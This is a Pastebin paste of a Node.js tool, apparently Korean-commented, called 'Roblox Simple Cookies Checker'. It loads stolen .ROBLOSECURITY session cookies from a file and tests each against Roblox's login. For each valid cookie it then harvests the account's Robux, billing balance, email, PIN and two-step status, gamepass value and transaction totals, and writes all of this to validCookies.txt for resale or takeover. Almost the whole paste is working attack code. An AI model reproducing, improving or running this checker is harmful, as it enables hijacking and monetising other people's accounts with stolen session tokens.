Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import axios from 'axios';
- import { readFileSync, writeFileSync, existsSync, watch } from 'fs';
- import config from './config.js';
- import { colors, wait } from './helper.js';
- // 쿠키를 읽어오는 함수
- const loadCookies = () => {
- if (existsSync('./cookies.txt')) {
- let cookies = readFileSync('./cookies.txt').toString().replace(/\r\n/g, '\n').trim().split('\n'); // 쿠키를 한 줄씩 읽기
- // 중복 제거 (설정된 경우)
- if (config.removeDuplicates) {
- let cookiesNoDuplics = [...new Set(cookies)];
- if (cookies.length - cookiesNoDuplics.length > 0) {
- console.log(`${colors.fg.yellow}[!] Removed ${cookies.length - cookiesNoDuplics.length} duplicate cookies${colors.reset}`);
- cookies = cookiesNoDuplics;
- }
- }
- return cookies;
- } else {
- console.log(`${colors.fg.red}[-] cookies.txt not found!${colors.reset}`);
- return [];
- }
- };
- // 쿠키를 체크하는 함수
- const checkCookies = async (cookies) => {
- let validCookies = [],
- loginURL = 'https://www.roblox.com/login',
- userInfoURL = 'https://users.roblox.com/v1/users/authenticated',
- economyURL = (userId) => `https://economy.roblox.com/v1/users/${userId}/currency`,
- billingURL = 'https://billing.roblox.com/v1/credit',
- accountSettingsURL = 'https://www.roblox.com/my/settings/json',
- friendsCountURL = 'https://friends.roblox.com/v1/my/friends/count',
- voiceSettingsURL = 'https://voice.roblox.com/v1/settings',
- gamepassesURL = (userId) => `https://www.roblox.com/users/inventory/list-json?assetTypeId=34&itemsPerPage=100&pageNumber=1&userId=${userId}`,
- badgesURL = (userId) => `https://accountinformation.roblox.com/v1/users/${userId}/roblox-badges`,
- transactionsURL = (userId) => `https://economy.roblox.com/v2/users/${userId}/transaction-totals?timeFrame=Year&transactionType=summary`,
- threads = 0,
- max_thread = (config.multithreading.enabled ? config.multithreading.threads : 1),
- checked = 0;
- const checkCookie = async (cookie) => {
- threads++;
- let headers = {
- 'Cookie': `.ROBLOSECURITY=${cookie};`
- };
- try {
- // 로그인 검증
- let resp = await axios.get(loginURL, { headers });
- if (resp.request.res.responseUrl !== loginURL) {
- // 사용자 정보 가져오기
- const userInfo = await axios.get(userInfoURL, { headers });
- const userId = userInfo.data.id;
- // 추가 데이터 가져오기
- const [robuxResponse, balanceInfoResponse, accountSettingsResponse, friendsCountResponse, voiceSettingsResponse, gamepassesResponse, badgesResponse, transactionsResponse] = await Promise.all([
- axios.get(economyURL(userId), { headers }),
- axios.get(billingURL, { headers }),
- axios.get(accountSettingsURL, { headers }),
- axios.get(friendsCountURL, { headers }),
- axios.get(voiceSettingsURL, { headers }),
- axios.get(gamepassesURL(userId), { headers }),
- axios.get(badgesURL(userId), { headers }),
- axios.get(transactionsURL(userId), { headers })
- ]);
- // 데이터 추출
- const robux = robuxResponse.data.robux;
- const balanceInfo = balanceInfoResponse.data;
- const accountSettings = accountSettingsResponse.data;
- const friendsCount = friendsCountResponse.data.count;
- const voiceVerified = voiceSettingsResponse.data.isVerifiedForVoice;
- const gamepasses = gamepassesResponse.data.data.reduce((total, item) => total + (item.priceInRobux || 0), 0);
- const badges = badgesResponse.data.map(badge => badge.name).join(', ');
- const transactions = transactionsResponse.data;
- validCookies.push({
- cookie,
- robux,
- balance: `${balanceInfo.balance} ${balanceInfo.currencyCode}`,
- accountName: accountSettings.Name,
- displayName: accountSettings.DisplayName,
- emailVerified: accountSettings.IsEmailVerified ? `${accountSettings.IsEmailVerified} (${accountSettings.UserEmail})` : 'No',
- accountAge: Math.round(accountSettings.AccountAgeInDays / 365),
- premium: accountSettings.IsPremium,
- hasPIN: accountSettings.IsAccountPinEnabled,
- twoStep: accountSettings.MyAccountSecurityModel.IsTwoStepEnabled,
- friends: friendsCount,
- voiceVerified,
- gamepasses,
- badges,
- salesOfGoods: transactions.salesTotal,
- premiumPayouts: transactions.premiumPayoutsTotal,
- commissions: transactions.affiliateSalesTotal,
- robuxPurchased: transactions.currencyPurchasesTotal,
- pendingRobux: transactions.pendingRobuxTotal,
- overall: Math.abs(transactions.purchasesTotal)
- });
- } else {
- console.error(`Login failed for cookie: ${cookie}`);
- }
- } catch (error) {
- console.error(`Error processing cookie ${cookie}:`, error.message);
- } finally {
- threads--;
- checked++;
- }
- };
- const updateConsole = () => {
- console.clear();
- console.log([
- `${colors.bg.blue}[🍪] Roblox Simple Cookies Checker${colors.reset}`,
- `${colors.fg.green}[✅] Valid: ${validCookies.length}${colors.reset}`,
- `${colors.fg.red}[❌] Invalid: ${cookies.length - validCookies.length}${colors.reset}`,
- `${colors.fg.yellow}[⚠] Checked: ${checked}/${cookies.length}${colors.reset}`
- ].join('\n'));
- };
- for (let cookie of cookies) {
- while (threads >= max_thread) await wait(100);
- checkCookie(cookie);
- updateConsole();
- }
- while (threads > 0) await wait(100);
- updateConsole();
- if (validCookies.length > 0) {
- writeFileSync('./validCookies.txt', validCookies.map(c =>
- `Cookie: ${c.cookie}\n` +
- `Robux: ${c.robux}\n` +
- `Balance: ${c.balance}\n` +
- `Account Name: ${c.accountName}\n` +
- `Display Name: ${c.displayName}\n` +
- `Email Verified: ${c.emailVerified}\n` +
- `Account Age: ${c.accountAge} years\n` +
- `Premium: ${c.premium}\n` +
- `Has PIN: ${c.hasPIN}\n` +
- `2-Step Verification: ${c.twoStep}\n` +
- `Friends: ${c.friends}\n` +
- `Voice Verified: ${c.voiceVerified}\n` +
- `Gamepasses Worth: ${c.gamepasses} R$\n` +
- `Badges: ${c.badges}\n` +
- `Sales of Goods: ${c.salesOfGoods}\n` +
- `Premium Payouts: ${c.premiumPayouts}\n` +
- `Commissions: ${c.commissions}\n` +
- `Robux Purchased: ${c.robuxPurchased}\n` +
- `Pending Robux: ${c.pendingRobux}\n` +
- `Overall: ${c.overall}\n\n`
- ).join(''));
- console.log(`${colors.bg.green}[✅] Saved valid cookies and their details to validCookies.txt${colors.reset}`);
- } else {
- console.log(`${colors.bg.red}[❌] No valid cookies were found!${colors.reset}`);
- }
- console.log(colors.fg.green + `\n\n@kob.kuba\n\n` + colors.reset);
- };
- const watchFile = () => {
- console.log(`${colors.fg.blue}[🔄] Watching cookies.txt for changes...${colors.reset}`);
- watch('./cookies.txt', async (eventType) => {
- if (eventType === 'change') {
- console.log(`${colors.fg.yellow}[!] Detected changes in cookies.txt. Checking cookies...${colors.reset}`);
- let cookies = loadCookies(); // 쿠키를 로드하여 확인
- if (cookies.length > 0) {
- await checkCookies(cookies);
- } else {
- console.log(`${colors.fg.red}[-] No cookies found in cookies.txt!${colors.reset}`);
- }
- }
- });
- };
- // 스크립트 시작 시 쿠키를 로드하고 파일을 감시합니다.
- const initialCheck = () => {
- let cookies = loadCookies(); // 쿠키를 로드하여 초기 확인
- if (cookies.length > 0) {
- checkCookies(cookies);
- }
- };
- // 초기 확인 후 파일 감시 시작
- initialCheck();
- watchFile();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement